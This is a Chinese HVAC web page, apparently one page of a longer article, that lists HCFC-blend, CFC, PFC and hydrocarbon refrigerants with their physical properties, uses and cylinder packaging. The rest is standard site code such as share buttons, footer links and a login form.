R-402B组成:R-22、R-290及HFC-125,是HCFC服务型混配制冷剂。符合美国采暖、制冷空调工程师协会(ASHRAE)的A1安全等级类别(这是最高的级别,对人身体无害);符合美国环保组织EPA、SNAP和UL的标准。冷冻机油建议使用烷基苯AB(Alkybenzene)合成油。</div> <div>&nbsp;</div> <div>  主要用途:替代R-502用于大型商用制冷设备,如制冰机等。适用于所有R-502可正常运作的环境。钢瓶包装,11.8kg/瓶。</div> <div>&nbsp;</div> <div>  8、R408A</div> <div>&nbsp;</div> <div>  R408A制冷剂是由R22,R125,R143a组成的混配工质,在常温下为无色气体,分子量87.01,沸点-44.4℃,临界温度83.8℃,临界压力4.42MPa,破坏臭氧潜能值(ODP)0.016。</div> <div>&nbsp;</div> <div>  主要用途:R408A制冷剂主要用于替代R502。一次性钢瓶10.9kg/瓶,可回收钢瓶350kg/瓶。</div> <div>&nbsp;</div> <div>  9、R409A</div> <div>&nbsp;</div> <div>  R409A由HCFC-22,HCFC-124和HCFC-142b混合而成,在常温下为无色气体。分子量97.4,沸点-34.5℃,临界温度106.8℃,临界压力4.69MPa,破坏臭氧潜能值(ODP)0.039。</div> <div>&nbsp;</div> <div>  主要用途:R409A是R12的替代品,主要用于制冷系统。13.6kg钢瓶包装,可回收钢瓶400kg/瓶。</div> <div>&nbsp;</div> <div>  三、CFC系列制冷剂</div> <div>&nbsp;</div> <div>  R11、R12、R13、R502、R503</div> <div>&nbsp;</div> <div>  1、R11(一氟三氯甲烷)</div> <div>&nbsp;</div> <div>  别名氟利昂-11(FREON 11),分子式:CCl3F,分子量:137.37。无色液体或气体;熔点-111℃,沸点23.7℃,重度1.487&times;103kg/m3,有醚味,微溶于水,易溶于乙醇、醚,化学稳定性好。</div> <div>&nbsp;</div> <div>  主要用途:用于大型中央空调制冷剂(离心式冷水机组)、聚氨酯(PU)泡沫塑料发泡剂。250KG/200L钢桶(内涂PVF涂层)。</div> <div>&nbsp;</div> <div>  2、R12(二氟二氯甲烷)</div> <div>&nbsp;</div> <div>  R12在常温下为无色,无味,无腐蚀性的气体,加压可液化为无色透明的液体。R12无毒、不燃,具有良好的热稳定性和化学稳定性。</div> <div>&nbsp;</div> <div>  主要用途:R12可用作致冷剂,灭火剂、杀虫剂和喷雾剂等,R12作为制冷剂广泛用于冰箱、冷柜、中央空调冷水机组等制冷空调领域。钢瓶包装,钢瓶涂以铝白色油漆,打上钢印号并用黑色油漆标明产品名称等;包装净重13.6kg/瓶。</div> <div>&nbsp;</div> <div>  3、R13(三氟一氯甲烷)</div> <div>&nbsp;</div> <div>  R13,分子式:CClF3,分子量是104.5,常压下沸点为-81.4℃,凝固点-181℃,液体密度(-30℃)为1.298kg/L,消耗臭氧潜能值(ODP)为1.0,全球变暖潜能值(GWP)为17.5。</div> <div>&nbsp;</div> <div>  主要用途:主要用于低温/超低温制冷剂。净重35kg/瓶,钢瓶包装,需回收包装钢瓶。</div> <div>&nbsp;</div> <div>  4、R502</div> <div>&nbsp;</div> <div>  R502为混配工质,由R22/R115组成,分子量111.63,沸点-45.6℃,为不可燃物质。</div> <div>&nbsp;</div> <div>  主要用途:主要用于低温制冷工质,可作为食品陈列、食品贮藏、制冷、冰淇淋机、低温冰箱以及低温冷冻压缩机用制冷剂。钢瓶包装,净重13.6kg/瓶。</div> <div>&nbsp;</div> <div>  5、R503</div> <div>&nbsp;</div> <div>  R503为混配工质,由R13/R23组成,沸点-87.9℃,为不可燃物质。</div> <div>&nbsp;</div> <div>  主要用途:主要用于超低温制冷设备,如低温试验箱及冻干设备等。净重20kg/瓶,钢瓶包装,需回收包装钢瓶。</div> <div>&nbsp;</div> <div>  四、PFC系列制冷剂</div> <div>&nbsp;</div> <div>  PFC-14、PFC-116、PFC-218</div> <div>&nbsp;</div> <div>  1、PFC-14(四氟甲烷)</div> <div>&nbsp;</div> <div>  四氟甲烷(Carbon Tetrafluoride or Tetrafluoromethane),亦称四氟化碳,PFC-14(R-14)。分子式:CF4。相对分子量:88.00。在常温下,四氟甲烷是无色、无臭、不燃,不溶于水的可压缩性气体。沸点:-128℃,熔点:-183.6℃。液体密度(-130℃)1.613g/cm3,临界温度-45.67℃,临界压力3.74MPa,蒸气压(-150.7℃)13.33kPa,介电常数(25℃,0.5MPa)1.0006。</div> <div>&nbsp;</div> <div>  挥发性较高,是最稳定的有机化合物之一,在900摄氏度时,不与钢、镍、钨、钼反应,仅在碳弧温度下缓慢分解,微溶于水,在25摄氏度及0.1MPa下其溶解度为0.0015%(重量比),然而与可燃性气体燃烧时,会分解产生有毒氟化物,危险性类别为第2.2类不燃气体。</div> <div>&nbsp;</div> <div>  主要用途:四氟甲烷是目前微电子工业中用量最大的等离子蚀刻气体,其高纯气及四氟甲烷高纯气配高纯氧气的混合气,可广泛应用于硅、二氧化硅、氮化硅、磷硅玻璃及钨等薄膜材料的蚀刻,在电子器件表面清洗、太阳能电池的生产、激光技术、气相绝缘、超低温制冷剂、泄漏检验剂、印刷电路生产中的去污剂等方面也大量使用。</div> <div>&nbsp;</div> <div>  包装运输四氟甲烷对金属、合金不腐蚀,可用无缝钢瓶和铝合金容器装运,充瓶压力通常低于12.5MPa,按压缩气体运输,钢瓶每五年检验一次,国外规定可用汽车、火车、轮船和飞机运输,国内目前无规定。钢瓶包装(14MPa)(DOT-3AA GB-5099),阀门(CGA-580/590,QF-2),32kg/48.8L,30kg/43.3L,5kg/8L,2.5kg/4L。</div> <div>&nbsp;</div> <div>  2、PFC-116(六氟乙烷,全氟乙烷)</div> <div>&nbsp;</div> <div>  无色、无毒、无腐蚀性、不燃烧的极其稳定的液化气体。分子量:138.01,临界温度:68&deg;F,临界压力:432 Psia,沸点:-108.8&deg;F(-78.2℃)1 atm,危险:加热产生有毒副产品,CAS No.:76-16-4,比重(Air=1):3.8,气体密度:0.361lb/cf NTP。</div> <div>&nbsp;</div> <div>  主要用途:六氟乙烷主要用作气体电介质和制造集成电路的干腐蚀剂,也常用于超低温配混制冷剂的一种组份。产品包装40kg/瓶,高压钢瓶包装。安全须知六氟乙烷是一种不燃烧、无色、无味的瓶装液化压缩气体,压力为其蒸气压418 psig at70&deg;F。当其含量增加至氧气含量低于19.5%导致窒息。接触液体会引起冻伤。避免呼吸气体。在救护工作中需配备自吸式防毒面具。</div> <div>&nbsp;</div> <div>  3、PFC-218(八氟丙烷,全氟丙烷)</div> <div>&nbsp;</div> <div>  八氟丙烷,别名:全氟丙烷,分子式:C3F8,英文名:octafluoropropane,perfluoropropane,Halocarbon218。无色,不可燃气体。常温下是低压液化气体。化学性质不活泼,热稳定性好,与玻璃、硅钢、软钢在280℃接触6个月以上既不腐蚀,也几乎不分解。在处理八氟丙烷过程中,可按无毒气体处理,但其与可燃气体一起燃烧时分解产生有毒的氟化物。</div> <div>&nbsp;</div> <div>  主要用途:应用于微电子工业中等离子蚀刻,以及器件表面清洗,碳同位素分离工质、低温制冷,医疗用气、气体绝缘等。包装及贮运八氟丙烷对金属和合金不腐蚀,可用钢和合金容器装运,按低压液化气体运愉,对气瓶每五年检验1次。国外规定可以用汽车,火车、轮船和飞机运输,国内目前尚无规定。毒性与防护可视作无毒气体,但与可燃气体一同燃烧时,分解产生有毒氟化物。发现中毒时,应立即将受害者转移到无污染区,必要时施以人工呼吸,并及时请医生医治。</div> <div>&nbsp;</div> <div>  五、HC系列制冷剂</div> <div>&nbsp;</div> <div>  R170、R290、R600a、R1270</div> <div>&nbsp;</div> <div>  1、R170(乙烷)</div> <div>&nbsp;</div> <div>  乙烷C2H6(R170),分子量30.07,沸点-88.6℃,临界温度32.3℃,临界压力5.88 MPa,破坏臭氧潜能值(ODP)为,全球变暖系数值(GWP)为0.01。</div> <div>&nbsp;</div> <div>  主要用途:R170主要用于替代R13、R503,与原系统和润滑油兼容。10kg/瓶,20kg/瓶;钢瓶包装。</div> <div>&nbsp;</div> <div>  2、R290(丙烷)</div> <div>&nbsp;</div> <div>  丙烷CH3CH2CH3(R290),分子量44.9,沸点-42.2℃,临界温度96.67℃,临界压力4.24MPa,蒸气压(25℃)0.475MPa,破坏臭氧潜能值(ODP)为,全球变暖系数值(GWP)为0.01。</div> <div>&nbsp;</div> <div>  主要用途:高纯级R290用作感温工质;优级和一级R290可用作制冷剂替代R22、R502,与原系统和润滑油兼容。10kg/瓶;钢瓶包装。</div> <div>&nbsp;</div> <div>  3、R600a(异丁烷)</div> <div>&nbsp;</div> <div>  异丁烷(CH3)2CHCH3(R600a),分子量58.12,沸点-11.80℃,临界温度134.98℃临界压力3.66MPa,破坏臭氧潜能值(ODP)为,全球变暖系数值(GWP)为0.1。</div> <div>&nbsp;</div> <div>  主要用途:R600a制冷剂主要用于替代冰箱、冷柜等制冷设备上使用的CFC-12制冷剂。20kg/瓶,50kg/瓶;钢瓶包装。</div> <div>&nbsp;</div> <div>  4、R1270(丙烯)</div> <div>&nbsp;</div> <div>  丙烯C3H6(R1270)分子量42.08,沸点-47.7℃,临界温度91.4℃,临界压力4.67MPa,臭氧层破坏系数(ODP)为0。</div> <div>&nbsp;</div> <div>  主要用途:R1270主要用于替代R502、R143a制冷剂,与原系统以及润滑油兼容。20kg/瓶,40kg/瓶;钢瓶包装。</div></div> </div> <div class="xw_line"> </div> <div class="mess_footnote"> <ul> <li></li> <li></li> </ul> </div> <div class="fenxiang"> <!-- JiaThis Button BEGIN --> <div class="jiathis_style_32x32"> <a class="jiathis_button_weixin"></a> <a class="jiathis_button_tsina"></a> <a class="jiathis_button_cqq"></a> <a class="jiathis_button_qzone"></a> <a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jiathis_separator jtico jtico_jiathis" target="_blank"></a> <a class="jiathis_counter_style"></a> </div> <script type="text/javascript" > var jiathis_config={ summary:"", shortUrl:false, hideMore:false } </script> <script type="text/javascript" src="http://v3.jiathis.com/code/jia.js" charset="utf-8"></script> <!-- JiaThis Button END --> </div> </div> <!-- <div class="det_unline"> <div class="user_rep_title"> <ul> <li class="user_rep_title_d">网友回复</li> <li class="user_rep_title_c"><a href="#"><span class="zan_blue">0</span>&nbsp;人回复</a></li> <li class="user_rep_title_b"><a href="#"><span class="zan_green">0</span>&nbsp;人参与</a></li> <li class="user_rep_title_a"><a href="#">注册</a></li> </ul> </div> <div class="user_rep_text"> <ul> <li class="user_rep_pic"></li> <li class="user_rep_input_text"> <textarea name="textfield" class="user_rep_input" onfocus="if (value =='文明上网,登录回复'){value =''}" onblur="if (value ==''){value='文明上网,登录回复'}">文明上网,登录回复</textarea> </li> </ul> </div> <div class="user_rep_login"> <ul> <li><input type="text" class="user_rep_login_input_a" /></li> <li><input type="password" class="user_rep_login_input_b" /></li> <li class="user_rep_login_input_c"><input name="" type="checkbox" value="" checked="checked" />&nbsp;自动登录</li> </ul> </div> <div class="login_huifu_btn"><a href="#"><img src="http://www.chinahvacr.com/skin/default/style/images/login_huifu_btn.gif" width="150" height="45"></a></div> <div class="login_huifu_btn display"><a href="#"><img src="http://www.chinahvacr.com/skin/default/style/images/login_huifu_btn_a.gif" width="150" height="45"></a></div> </div> --> <!-- 新增评论 --> <!-- 新增评论 --> </div> <div class="column_r"> <div class="column_sfzm_zuixin"> <div class="column_right_title"> <ul> <li class="column_right_title_a"><b>推荐阅读</b></li> </ul> </div> <div class="column_sfzm_zuixinlist"> </div> </div> </div> </div> <!--------内容结束----------> <div class="clear"></div> </div><div class="fontbg"><div class="font" style="color: red; width: 1000px; margin: 0 auto;">本站部分信息来自互联网,倘若您发现本站有侵权或不当信息,请与本站联系,经本站核实后将尽快修正!</div></div> <!--------page开始----------><!--------bottom开始----------> <!-- -----<div id="bottom_yqlj"> <ul> <li class="bottom_yqlj_ima"></li> <li class="bottom_yqlj_link"><a href="http://www.hvacrhr.com/" target="_blank">中国空调制冷人才网</a></li> <li class="bottom_yqlj_link"><a href="http://www.dyrbw.com" target="_blank">地源热泵网</a></li> <li class="bottom_yqlj_link"><a href="http://www.netsun.cn" target="_blank">瑞利网轩</a></li> <li class="bottom_yqlj_link"><a href="http://www.hnregal.com" target="_blank">长沙绿色建筑</a></li> <li class="bottom_yqlj_link"><a href="http://www.hvacr.cn/" target="_blank">空调制冷大市场</a></li> <li class="bottom_yqlj_link"><a href="http://www.cnhvacr.com/" target="_blank">中国暖通制冷网</a></li> <li class="bottom_yqlj_link"><a href="http://zl.co188.com/" target="_blank">制冷</a></li> <li class="bottom_yqlj_link"><a href="http://nt.zhulong.com/" target="_blank">筑龙暖通网</a></li> <li class="bottom_yqlj_link"><a href="http://www.ehvacr.com/" target="_blank">暖通空调在线</a></li> <li class="bottom_yqlj_link"><a href="http://www.hvacr.hc360.com/" target="_blank">慧聪暖通制冷网</a></li> <li class="bottom_yqlj_link"><a href="http://www.chinagb.net/" target="_blank">能源世界</a></li> <li class="bottom_yqlj_link"><a href="http://www.jx188.com/" target="_blank">中国空调设备网</a></li> <li class="bottom_yqlj_link"><a href="http://building.chinaeser.cn" target="_blank">筑博汇</a></li> <li class="bottom_yqlj_link"><a href="http://www.chinabee.org/" target="_blank">建筑热能通风空调</a></li> <li class="bottom_yqlj_link"><a href="http://www.raccexpo.com" target="_blank">RACC 2022</a></li> </ul> </div> ----- --> <div id="bottom_lxwm"> <ul> <li class="bottom_lxwm_logo"></li> <li class="bottom_lxwm_link"> <div class="bottom_lxwm_link_wz"><a href="http://www.chinahvacr.com/about/about_us.html">关于我们</a></div> <div class="bottom_lxwm_link_wz"><a href="http://www.chinahvacr.com/about/contact_us.html">联系我们</a></div> <div class="bottom_lxwm_link_wz"><a href="http://www.chinahvacr.com/about/tips.html">用户须知</a></div> <div class="bottom_lxwm_link_wz"><a href="http://www.chinahvacr.com/about/member_service.html">会员服务</a></div> <div class="bottom_lxwm_link_wz"><a target="_blank" href="http://hr.chinahvacr.com/">招聘信息</a></div> <div class="bottom_lxwm_link_wz"><a href="http://www.chinahvacr.com/exhibit">展会信息</a></div> <div class="bottom_lxwm_link_wz"><a href="http://www.chinahvacr.com/about/addprice.html">广告服务</a></div> <div class="bottom_lxwm_link_wz"><a href="http://www.chinahvacr.com/about/link.html">友情链接</a></div> <div class="bottom_lxwm_link_wz"><a href="http://www.chinahvacr.com/about/map.html">网站地图</a></div> </li> <li class="bottom_lxwm_logo2"> <div style="float:left;width:300px;height:50px;margin:30px 0 0 12px;"><a href="http://www.chinahvacr.com/hyzxnews/show.php?itemid=3127716"><img src="http://www.chinahvacr.com/skin/default/style/images/2015xmtj.jpg" width="300" height="50px" /></a></div> <!-- ------- <div class="bottom_lxwm_logo3"><a href="#"><img src="http://www.chinahvacr.com/skin/default/style/images/bottom_02.gif" width="140" height="50" /></a></div> <div class="bottom_lxwm_logo3"><a href="#"><img src="http://www.chinahvacr.com/skin/default/style/images/bottom_01.gif" width="140" height="50" /></a></div>-------- --> </li> <li class="bottom_lxwm_other">Copyright ◎ 1998-2022 www.chinahvacr.com all rights reserved<a href="http://beian.miit.gov.cn" target="_blank" style="color:#fff">湘ICP备12007860号-6</a><span><script src="http://s45.cnzz.com/stat.php?id=341779&web_id=341779&show=pic" language="JavaScript" charset="gb2312"></script></span></li> </ul> </div> <!--------bottom结束----------> <!--------page结束----------> <script type="text/javascript"> var destoon_userid = 0; var destoon_username = ''; var destoon_message = 0; var destoon_chat = 0; var destoon_cart = substr_count(get_cookie('cart'), ','); var destoon_member = ''; var oauth_site = ''; var oauth_user = ''; destoon_member += (oauth_user && oauth_site) ? '<img src="http://www.chinahvacr.com/api/oauth/'+oauth_site+'/ico.png" align="absmiddle"/> 欢迎,<strong>'+oauth_user+'</strong> | <a href="http://www.chinahvacr.com/api/oauth/'+oauth_site+'/index.php?time=1732429833" style="color:#FFF;line-height:50px;">绑定帐号</a> | <a href="javascript:" onclick="oauth_logout();" style="color:#FFF;line-height:50px;">注销登录</a>' : "<form method='post' id='myform' action='http://www.chinahvacr.com/member/login.php' onsubmit='return Dcheck();'><div class='menu'><ul><li class='products'><a href='http://www.chinahvacr.com/member/login.php'>登录</a><ul><li class='login_input_title'>邮箱/用户名/手机可直接登录 </li><li class='login_input_text'><input name='username' id='username' type='text' class='login_input' value='' placeholder='请输入用户名' /></li><li class='login_input_text'><input name='password' id='password' type='password' class='login_input' value=''/></li><li class='login_text2'><input name='' type='checkbox' value='' />&nbsp;记住密码</li><li class='login_text3'><a href='http://www.chinahvacr.com/member/retrieve.php'>忘记密码?</a></li><li class='login_text3'>其他登录:<a href='http://www.chinahvacr.com/api/oauth/qq/connect.php' title='QQ登录'><img src='http://www.chinahvacr.com/api/oauth/qq/ico.png' alt='QQ登录' style=''></a></li><li class='login_input_text'><input type='submit' name='submit' class='login_btn' value='登录'/></li></ul></li><li class='regsiter'><a href='http://www.chinahvacr.com/member/register.php'>注册</a></li><!-- <li class='web_link'><a href='#'>中国节能减排网</a></li>--> </ul></div></form>"; $('#header').html(destoon_member); $('#destoon_city').html('全国'); $('#destoon_cart').html(destoon_cart ? '<strong>'+destoon_cart+'</strong>' : 0); $('#back2top').click(function() { $("html, body").animate({scrollTop:0}, 200); }); </script> </body> </html>

Pages: 1 2 3 4 5 6 7 8 9 10